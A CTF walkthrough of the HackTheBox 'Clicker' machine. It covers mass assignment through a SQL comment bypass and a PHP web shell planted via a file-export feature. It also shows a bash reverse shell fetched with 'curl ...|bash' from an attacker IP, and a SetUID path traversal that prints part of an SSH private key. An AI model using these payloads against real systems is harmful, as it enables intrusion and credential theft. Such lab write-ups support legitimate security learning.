index-logo

Clicker - HTB

walkthrough by elswix

Machine: Clicker
Difficulty: Medium
Platform: HackTheBox
Release: Released on 09/23/2023


About Clicker


Clicker is a medium-difficulty machine on HackTheBox. Firstly, we will exploit an NFS share to obtain the source code of a website. After reading the source code, we noticed that we could perform a mass assignment attack on the website to gain admin privileges.


Shell as www-data


With admin privileges, we can extract information about the TOP players of the website. The POST request allows us to change the file extension to PHP, and by exploiting the same Mass Assignment Attack mentioned earlier, we modify our username to a PHP web shell.


Shell as jack


While searching for Set-UID files on the system, we come across a Set-UID file owned by Jack. Using reverse engineering methods, we identify a file read vulnerability that allows us to obtain Jack's SSH private key.


Shell as root


As Jack, we have sudo privileges that allow us to execute a bash script as root. The sudo privilege includes the SETENV attribute, enabling us to specify a malicious PRELOAD library through the LD_PRELOAD variable, thus achieving execution as root.


Recon


To initiate the exploitation process, we need to identify the open ports on the target machine. Keep in mind that services are accessible through ports, making it crucial to ascertain their status. For conducting this scan, I will utilize the nmap tool:

elswix@kali$ nmap -p- --open --min-rate 10000 -n -v 10.10.11.232

Nmap scan report for 10.10.11.232
Host is up (0.15s latency).
Not shown: 62052 closed tcp ports (conn-refused), 3474 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
37355/tcp open  unknown
41471/tcp open  unknown
45273/tcp open  unknown
54267/tcp open  unknown
56705/tcp open  unknown
Once the scan is complete, we need to identify technologies and services running on these ports. To achieve this, I will use nmap:

elswix@kali$ nmap -sCV -p22,80,111,2049,37355,41471,45273,54267,56705 10.10.11.232 -oN fullScan

Nmap scan report for 10.10.11.232 (10.10.11.232)
Host is up (0.27s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp   open  rpcbind  2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp  open  nfs      3-4 (RPC #100003)
37355/tcp open  mountd   1-3 (RPC #100005)
41471/tcp open  nlockmgr 1-4 (RPC #100021)
45273/tcp open  status   1 (RPC #100024)
54267/tcp open  mountd   1-3 (RPC #100005)
56705/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Web Application - Port 80


As we've seen in the nmap report, the port 80 belongs to an HTTP service. Before accessing the website through my browser, I will utilize whatweb to obtain information about the page:

elswix@kali$ whatweb -a 3 10.10.11.232
http://10.10.11.232 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.232], RedirectLocation[http://clicker.htb/]
ERROR Opening: http://clicker.htb/ - no address for clicker.htb
It dropped an error. When accessing the website through the IP address, it redirects to clicker.htb. Since it does not know the IP address pointed to by this domain, it cannot resolve it. To deal with this problem, we have to add the domain to our /etc/hosts file, making it point to the IP address of the machine.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.232 clicker.htb
If we attempt to run whatweb again:

elswix@kali$ whatweb -a 3 10.10.11.232
http://10.10.11.232 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.232], RedirectLocation[http://clicker.htb/]
http://clicker.htb/ [200 OK] Apache[2.4.52], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.232], Title[Clicker - The Game]
It works, and the domain is resolved properly.

When accessing the website via our browser, we encounter the following content:



There is an information section:



Here we can highlight three users: ButtonLover99, Paol, and Th3Br0.

There is also a login section:



I've tried the most common credentials, such as admin:admin and guest:guest, but they didn't work. I also attempted using the users we found as credentials, but it didn't work either.

When entering wrong credentials, this message is displayed:



Looking at the URL, I realized that I can specify any message I want using the ?err= parameter.

http://clicker.htb/login.php?err=elswix


As any data I enter in this parameter is displayed in the response, I have tried to enter an XSS payload:

http://clicker.htb/login.php?err=<script>alert(1)</script>


It works, but at this point, it isn't useful.

There is also a register section:



When specifying new credentials, it displays the following message:



When using these credentials in the login section, they work.



While inspecting the requests made during the creation and login of an account, we come across new files:



When creating a new account, our data is transmitted to create_player.php, and during the sign-in process, our data is sent to authenticate.php.

Once we successfully log in, we can access the profile section:



The displayed information includes my username, clicks, and level. It appears that this website functions as an online video game with points and levels.

There is also a play section, where we see the following content:



Here is the video game, and we can play it. When clicking on Save and close, the following request is made:



I entered the following values into the clicks and level parameters and re-sent the request.

/save_game.php?clicks=999999&level=999999
The following response was returned, with the message Game has been saved!



Upon accessing the profile section, I noticed that the values had changed this time.

I have concluded that, by saving the game, I am interacting with and passing values to columns in a database. This process could potentially be vulnerable to a Mass Assignment attack as well.


NFS - Port 2049


The port 2049 belongs to the NFS service. NFS, or Network File System, is a distributed file system protocol that allows a user on a client computer to access files over a computer network much like local storage is accessed. It enables the sharing of files and directories between systems as if they were part of the same local file system. NFS is commonly used in Unix and Linux environments for networked file sharing.

It is similar to SMB but is commonly used in Linux environments.

Various tools can be employed for enumerating this service, and HackTricks also provides information on how to enumerate it.

To identify which resources the service is exposing, you can use showmount:

elswix@kali$ showmount -e 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *
It is serving the /mnt/backups folder of the victim file system. We can try to mount it on our machine to access its files.

elswix@kali$ sudo mkdir -m 755 /mnt/mount
elswix@kali$ sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/mount
Now, we can access it:

elswix@kali$ ls /mnt/mount
clicker.htb_backup.zip
There is a ZIP file named clicker.htb_backup.zip. I will copy it to my working directory:

elswix@kali$ cp /mnt/mount/clicker.htb_backup.zip .
We can inspect the ZIP content using 7z:

elswix@kali$ 7z l clicker.htb_backup.zip
--
Path = clicker.htb_backup.zip
Type = zip
Physical Size = 2284115

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-09-01 17:21:41 D....            0            0  clicker.htb
2023-09-01 17:17:55 .....         3341         1190  clicker.htb/play.php
2023-09-01 17:17:55 .....         3070         1219  clicker.htb/profile.php
2023-09-01 17:17:56 .....          608          298  clicker.htb/authenticate.php
2023-09-01 17:17:56 .....          541          276  clicker.htb/create_player.php
2023-09-01 17:17:56 .....           74           62  clicker.htb/logout.php
2023-02-28 07:04:03 D....            0            0  clicker.htb/assets
2023-02-28 07:02:26 .....      1548311      1538698  clicker.htb/assets/background.png
2023-02-23 07:49:43 .....          733          336  clicker.htb/assets/cover.css
2023-02-25 08:20:21 .....        10912         7189  clicker.htb/assets/cursor.png
2019-02-13 11:47:50 D....            0            0  clicker.htb/assets/js
2019-02-13 11:47:50 .....       250568        58224  clicker.htb/assets/js/bootstrap.js.map
2019-02-13 11:47:50 .....       311949        81519  clicker.htb/assets/js/bootstrap.bundle.min.js.map
2019-02-13 11:47:50 .....       190253        46005  clicker.htb/assets/js/bootstrap.min.js.map
2019-02-13 11:47:50 .....        78635        22247  clicker.htb/assets/js/bootstrap.bundle.min.js
2019-02-13 11:47:50 .....        58072        15377  clicker.htb/assets/js/bootstrap.min.js
2019-02-13 11:47:50 .....       222911        47855  clicker.htb/assets/js/bootstrap.bundle.js
2019-02-13 11:47:50 .....       402249        91514  clicker.htb/assets/js/bootstrap.bundle.js.map
2019-02-13 11:47:50 .....       131637        24986  clicker.htb/assets/js/bootstrap.js
2019-02-13 11:47:50 D....            0            0  clicker.htb/assets/css
2019-02-13 11:47:50 .....         4021         1593  clicker.htb/assets/css/bootstrap-reboot.min.css
2019-02-13 11:47:50 .....         4897         1700  clicker.htb/assets/css/bootstrap-reboot.css
2019-02-13 11:47:50 .....        32461         8024  clicker.htb/assets/css/bootstrap-reboot.min.css.map
2019-02-13 11:47:50 .....       625953       101514  clicker.htb/assets/css/bootstrap.min.css.map
2019-02-13 11:47:50 .....       492048        97754  clicker.htb/assets/css/bootstrap.css.map
2019-02-13 11:47:50 .....        64548         6881  clicker.htb/assets/css/bootstrap-grid.css
2019-02-13 11:47:50 .....       108539        13917  clicker.htb/assets/css/bootstrap-grid.min.css.map
2019-02-13 11:47:50 .....        48488         6007  clicker.htb/assets/css/bootstrap-grid.min.css
2019-02-13 11:47:50 .....       155758        23142  clicker.htb/assets/css/bootstrap.min.css
2019-02-13 11:47:50 .....       151749        26663  clicker.htb/assets/css/bootstrap-grid.css.map
2019-02-13 11:47:50 .....       192348        25422  clicker.htb/assets/css/bootstrap.css
2019-02-13 11:47:50 .....        76483        16865  clicker.htb/assets/css/bootstrap-reboot.css.map
2023-09-01 17:18:04 .....         3301         1345  clicker.htb/login.php
2023-09-01 17:18:05 .....         3934         1500  clicker.htb/admin.php
2023-09-01 17:18:05 .....         3423         1348  clicker.htb/info.php
2023-09-01 17:18:05 .....         1376          675  clicker.htb/diagnostic.php
2023-09-01 17:18:05 .....          563          349  clicker.htb/save_game.php
2023-09-01 17:18:06 .....         3333         1353  clicker.htb/register.php
2023-09-01 17:18:06 .....         3887         1409  clicker.htb/index.php
2023-09-01 17:18:06 .....         2536          823  clicker.htb/db_utils.php
2023-09-01 17:18:06 D....            0            0  clicker.htb/exports
2023-09-01 17:18:07 .....         1977          694  clicker.htb/export.php
------------------- ----- ------------ ------------  ------------------------
2023-09-01 17:21:41            5195487      2275973  37 files, 5 folders
The file names suggest that it is the source code of the page.

We can extract the ZIP content using 7z:

elswix@kali$ 7z x clicker.htb_backup.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD A8-7600 Radeon R7, 10 Compute Cores 4C+6G   (630F01),ASM,AES-NI)

Scanning the drive for archives:
1 file, 2284115 bytes (2231 KiB)

Extracting archive: clicker.htb_backup.zip
--
Path = clicker.htb_backup.zip
Type = zip
Physical Size = 2284115

Everything is Ok

Folders: 5
Files: 37
Size:       5195487
Compressed: 2284115
Upon accessing the source code, I noticed that roles are being used. This means that there are Administrator privileges in the page. For example, when looking at the admin.php file source code, we encounter the following lines:

<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
  header('Location: /index.php');
  die;
}
......
......
......
?>
The code checks if the value of the session variable ROLE is not equal to "Admin". If the condition is true, it redirects the user to /index.php.

Examining the create_new_player function in the db_utils.php file, we observed that when a user is registered, the ROLE column is set to User.

<?php
function create_new_player($player, $password) {
    global $pdo;
    $params = ["player"=>$player, "password"=>hash("sha256", $password)];
    $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
    $stmt->execute($params);
}
?>
In this file, there is also database credentials:

<?php
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
?>
Looking at the save_game.php file, we can see how we were able to change the clicks and level values:

<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
    $args = [];
    foreach($_GET as $key=>$value) {
        if (strtolower($key) === 'role') {
            // prevent malicious users to modify role
            header('Location: /index.php?err=Malicious activity detected!');
            die;
        }
        $args[$key] = $value;
    }
    save_profile($_SESSION['PLAYER'], $_GET);
    // update session info
    $_SESSION['CLICKS'] = $_GET['clicks'];
    $_SESSION['LEVEL'] = $_GET['level'];
    header('Location: /index.php?msg=Game has been saved!');

}
?>
Firstly, it checks if we are logged in. Subsequently, it utilizes a foreach loop to iterate through each parameter passed via the GET method. It verifies if the parameter passed through the GET method is equal to role, thereby preventing potential exploitation of the database interaction to modify our role.

In the event that the GET parameters are not equal to role, the save_profile function is called, passing the player name along with the GET parameters and their values as arguments.

The save_profile function is defined in the db_utils.php file and is comprised of the following instructions:

<?php
function save_profile($player, $args) {
    global $pdo;
    $params = ["player"=>$player];
    $setStr = "";
    foreach ($args as $key => $value) {
            $setStr .= $key . "=" . $pdo->quote($value) . ",";
    }
    $setStr = rtrim($setStr, ",");
    $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
    $stmt -> execute($params);
}
?>
Essentially, this function takes the player name and the GET parameters as arguments. The GET parameters and their corresponding values are then used in an SQL query.


Mass Assignment Attack - Abusing SQL Comments


Since the save_game.php is preventing us from specifying the word role as a GET parameter, we cannot modify our role to Admin. However, we can use SQL comments to bypass the validation. Since parameters are passed to an SQL query, the comments won't be interpreted in the query, enabling us to modify the role value.

Let me clarify this. In SQL, the following expressions are equivalent:

role=Admin
and

role/**/=Admin
For PHP (within a string), these values are distinct. This distinction enables us to bypass the check and pass our parameters as arguments to the save_profile function.

Let's test this. I will make the following request:

GET /save_game.php?clicks=999999&level=999999&role/**/=Admin
I URL-encoded the /**/ characters to avoid errors:



I got the following response:



It appears to have worked. Initially, when loading the /index.php page, there were no immediate changes. However, after logging out and signing in again, the modifications became apparent.



It worked properly, we successfully modified the ROLE attribute of our account.


Shell as www-data


As admins, now we can access the /admin.php section:



Here, you can observe the top players on the page. Additionally, there is an "Export" button.

When clicking on it, the following request is made:



And we see the following message in the response:



When accessing to exports/top_players_1smeg5dz.txt, the following information is displayed:



Upon examining the request, I found interesting the extension parameter:



Let's see what happens if I change it to elswix:



We got a similiar response. This time the message returned gives us the path to a new file: exports/top_players_8je0i15v.elswix



The "extension" parameter specifies the extension of the exported file. Upon inspecting the file content, we observed that it corresponds to the data from the database. If we can manipulate the database (by exploiting the save_profile function) and control the extension of the exported file, we might be able to write a PHP file with malicious content.

The values recorded in the exported file include the nickname, clicks, and level. I plan to modify the nickname column, as the other columns appear to store integer values.

This will be the request to the save_profile.php file:

GET /save_game.php?clicks=999999&level=999999&nickname=<?php phpinfo(); ?>
This will change my nickname to <?php phpinfo(); ?>.

I URL-Encoded the payload to avoid errors:



Before utilizing the export function, I will log in again.

Now I will use the export function passing php as the extension value:



The response provides us a route to the exported file with the PHP extension:



When loading the PHP file, our new nickname was interpreted:



There are not disabled functions:



This implies that we can leverage functions such as system(), shell_exec(), popen(), etc., enabling us to achieve Remote Code Execution (RCE) on the victim machine.

I will use the shell_exec function to get a webshell. This will be the request to the save_profile.php section:

GET /save_game.php?clicks=999999&level=999999&nickname=<?php echo shell_exec($_GET['cmd']); ?>
I URL-Encoded the payload to avoid problems:



Before utilizing the export function, I will log in again.

Now I will use the export function passing php as the extension value:



Once again, the response provides us a route to the exported file with the php extension:



When accessing the new php file, we will see the following content:



Nothing is being displayed; let's try to add the cmd GET parameter and specify id:



Finally, we have achieved Remote Code Execution (RCE) on the victim machine.

To gain access to the system, I will start a reverse shell with bash. Firstly I will create a malicious index.html file with the following content:

elswix@kali$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.5/3001 0>&1
Now I will serve this file via an HTTP server on port 80:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Then, I will setup my netcat listener on port 3001:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Finally, I will execute the command curl 10.10.16.5|bash on the victim machine:

elswix@kali$ curl -s 'http://clicker.htb/exports/top_players_huvidmb5.php?cmd=curl%2010.10.16.5|bash'
And we receive the reverse shell on the netcat listener:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.232:44660.
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$
We have successfully accessed the system, now we will simply adjust the TTY to interact more comfortably with the system:

www-data@clicker:/var/www/clicker.htb/exports$  script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@clicker:/var/www/clicker.htb/exports$  ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@clicker:/var/www/clicker.htb/exports$ export TERM=xterm
www-data@clicker:/var/www/clicker.htb/exports$ export SHELL=/bin/bash
www-data@clicker:/var/www/clicker.htb/exports$


Shell as jack


As www-data, we don't belong to any interesting group:

www-data@clicker:/var/www/clicker.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@clicker:/var/www/clicker.htb$
Upon looking for interesting Set-UID binaries, I obtained the following result:

www-data@clicker:/var/www/clicker.htb$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/sbin/mount.nfs
/opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb$
In this output, we can highlight the execute_query binary, located in the /opt directory, as a potential path for privilege escalation.

Upon checking its privileges, I noticed that Jack owns this binary:

www-data@clicker:/var/www/clicker.htb$ ls -l /opt/manage/execute_query
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 /opt/manage/execute_query
www-data@clicker:/var/www/clicker.htb$
For those who don't know what a Set-UID binary is, here is a brief explanation:

A Set-UID (Set User ID) binary is a program executable in Unix and Unix-like operating systems that has special permissions. When a user executes a Set-UID binary, the program runs with the effective user ID (EUID) of the binary's owner rather than the user who launched it. This allows ordinary users to perform certain privileged operations that typically only the owner of the binary (often a system administrator) would be allowed to do.

When launching it, the following output was returned:

www-data@clicker:/var/www/clicker.htb$ /opt/manage/execute_query
ERROR: not enough arguments
www-data@clicker:/var/www/clicker.htb$
When moving to the /opt directory I found a bash script owned by root:

www-data@clicker:/var/www/clicker.htb$ cd /opt
www-data@clicker:/opt$ ls
manage  monitor.sh
www-data@clicker:/opt$
At this point it is useless.

The manage directory also has a README.txt file in it:

www-data@clicker:/opt$ ls -l manage
total 20
-rw-rw-r-- 1 jack jack   256 Jul 21  2023 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 execute_query
www-data@clicker:/opt$
The README.txt file explains how to use the binary:

www-data@clicker:/opt/manage$ cat README.txt 
Web application Management

Use the binary to execute the following task:
    - 1: Creates the database structure and adds user admin
    - 2: Creates fake players (better not tell anyone)
    - 3: Resets the admin password
    - 4: Deletes all users except the admin
www-data@clicker:/opt/manage$
Let's see what happens if I insert 1 as parameter:

www-data@clicker:/opt/manage$ ./execute_query 1
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))
--------------

--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
    VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999)
    ON DUPLICATE KEY UPDATE username=username
--------------

www-data@clicker:/opt/manage$
The output shows an interesting message:

mysql: [Warning] Using a password on the command line interface can be insecure.
Based on this, it seems that this program executes a system-wide command.

Upon examining the printable characters of the binary, it is evident that the system() function is called within this binary:

www-data@clicker:/opt/manage$ strings execute_query  | grep system
system
system@GLIBC_2.2.5
www-data@clicker:/opt/manage$
If I run this binary using strace (to gather information about the behavior of the program), we can observe the following:

www-data@clicker:/opt/manage$ strace ./execute_query 1
execve("./execute_query", ["./execute_query", "1"], 0x7ffda0cccc78 /* 20 vars */) = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
brk(NULL)                               = 0x562205129000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffca0a4bba0) = -1 EINVAL (Invalid argument)
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f920b2d9000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=21007, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 21007, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f920b2d3000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0 \0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0"..., 48, 848) = 48
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\"\233}\305\t\5?\344\337^)\350b\231\21\360"..., 68, 896) = 68
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=2216304, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2260560, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f920b0ab000
mmap(0x7f920b0d3000, 1658880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7f920b0d3000
mmap(0x7f920b268000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7f920b268000
mmap(0x7f920b2c0000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x214000) = 0x7f920b2c0000
mmap(0x7f920b2c6000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f920b2c6000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f920b0a8000
arch_prctl(ARCH_SET_FS, 0x7f920b0a8740) = 0
set_tid_address(0x7f920b0a8a10)         = 1557
set_robust_list(0x7f920b0a8a20, 24)     = 0
rseq(0x7f920b0a90e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7f920b2c0000, 16384, PROT_READ) = 0
mprotect(0x562204d99000, 4096, PROT_READ) = 0
mprotect(0x7f920b313000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f920b2d3000, 21007)           = 0
getrandom("\x51\xc6\xfc\x1d\x49\xaf\x45\xd6", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x562205129000
brk(0x56220514a000)                     = 0x56220514a000
setreuid(1000, 1000)                    = -1 EPERM (Operation not permitted)
access("/home/jack/queries/create.sql", R_OK) = -1 EACCES (Permission denied)
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0
write(1, "File not readable or not found\n", 31File not readable or not found
) = 31
exit_group(0)                           = ?
+++ exited with 0 +++
www-data@clicker:/opt/manage$
It is attempting to access a file named create.sql, which is located in /home/jack/queries.

I was able to exploit this binary without using reverse engineering methods or tools like ghidra. However, for the write-up, I will explain how the binary works.

Let's launch Ghidra and analyze this binary on my local machine:



Firstly, it checks whether the program is executed with arguments:



In the event that we execute the program with an argument, this happens:



Firstly, it is defining the iVar1 variable with the content of the first argument specified in the command line.

Then, the code dynamically allocates memory for a block of 20 bytes (0x14 in hexadecimal) using the calloc function. The allocated memory is initialized to zeros. The pointer pcVar3 points to the first byte of this newly assigned memory.

Upon reaching the switch() statement, it examines the content of the first argument (stored in the iVar1 variable).

If the first argument equals 1, the following events occur:

The strncpy function is used to copy a specified number of characters from one string to another.

strncpy(pcVar3, "create.sql", 0x14);
  • pcVar3: This is a pointer to the destination buffer where the characters will be copied.
  • "create.sql": This is the source string from which characters will be copied.
  • 0x14: This is the maximum number of characters to be copied.
In this specific case, the code is copying the characters from the string "create.sql" to the memory block pointed to by pcVar3. It will copy up to 0x14 (20 in decimal) characters. If the source string is shorter than 20 characters, the remaining space in the destination buffer will be filled with null characters ('\0').

The code for cases 1, 2, 3, and 4 is similar. Let's examine what happens in the default case:

strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
Essentially, this implies that the value of the second parameter specified in the command line when launching the program is stored in pcVar3, which points to the block of 20 bytes defined using the calloc function. It's crucial to note that the second parameter must not exceed 20 bytes in length.



It was a little challenging to comprehend this code due to the strings not being in plaintext. Essentially, the values of three variables, namely local_98, local_90, and local_88, correspond to the string /home/jack/queries/.

In summary, this code concatenates the string stored in the pcVar3 variable with the /home/jack/queries string and stores the resulting string in the __dest variable. Subsequently, it uses the setreuid() function to set both the RUID (Real User Identifier) and EUID (Effective User Identifier) to 1000 (associated with user Jack). Finally, it checks if the file (whose location is stored in the __dest variable) is readable using the access() function. The value 4 corresponds to read privileges.

In the event that the file is readable, this happens:



Once again, the strings are not in plain text, but these variables belong to the following command:

/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <
Calculates the length of the string pointed to by local_78 (the MySQL command) using the strlen function and stores the result in sVar4.

Calculates the length of the string pointed to by pcVar3 using the strlen function and stores the result in sVar5.

Dynamically allocates memory for a new string (pcVar3) with a size that is the sum of the lengths of local_78 and __dest, plus 1 (for the null character at the end).

Concatenates the string local_78 at the beginning of the string pcVar3 using the strcat function.

Concatenates the string __dest at the end of the string pcVar3 using the strcat function.

Executes the command specified by the string pcVar3 using the system function.

This implies that the content of the file is passed to the SQL query executed in the system command. As we have seen previously, in the default case, we could specify any file we want. The issue arises when our string entered in the second argument is concatenated with the string /home/jack/queries/. Nonetheless, this is not a problem as we can leverage Directory Path Traversal to navigate back through directories. Although the 20-byte limitation makes exploitation more challenging, we can attempt to move back one directory and read the .ssh/id_rsa file. This endeavor could grant us access as Jack through SSH.

Given that MySQL is executed with the -v parameter, the file content will be visible in the output of the command. It's crucial to note that without this parameter, the described approach may not work as expected. That's why we observe the following output when launching the program and specifying 1 as a parameter:

www-data@clicker:/opt/manage$ ./execute_query 1
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))
--------------

--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
    VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999)
    ON DUPLICATE KEY UPDATE username=username
--------------

www-data@clicker:/opt/manage$
This should be the content of the create.sql file, as we have seen in the source code.

Let's attempt to read the id_rsa key of Jack. Firstly, we need to specify any number different from 0, 1, 2, 3, or 4, as these correspond to cases in the switch statement in the program. We can pass 5 as the first argument and ../.ssh/id_rsa as the second argument:

www-data@clicker:/opt/manage$ ./execute_query 5 '../.ssh/id_rsa'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
2uCSLPiZqHiViArcUbbXxWMX2NPSJzDsQ4xeYqFtAAAFiO2Fee3thXntAAAAB3NzaC1yc2
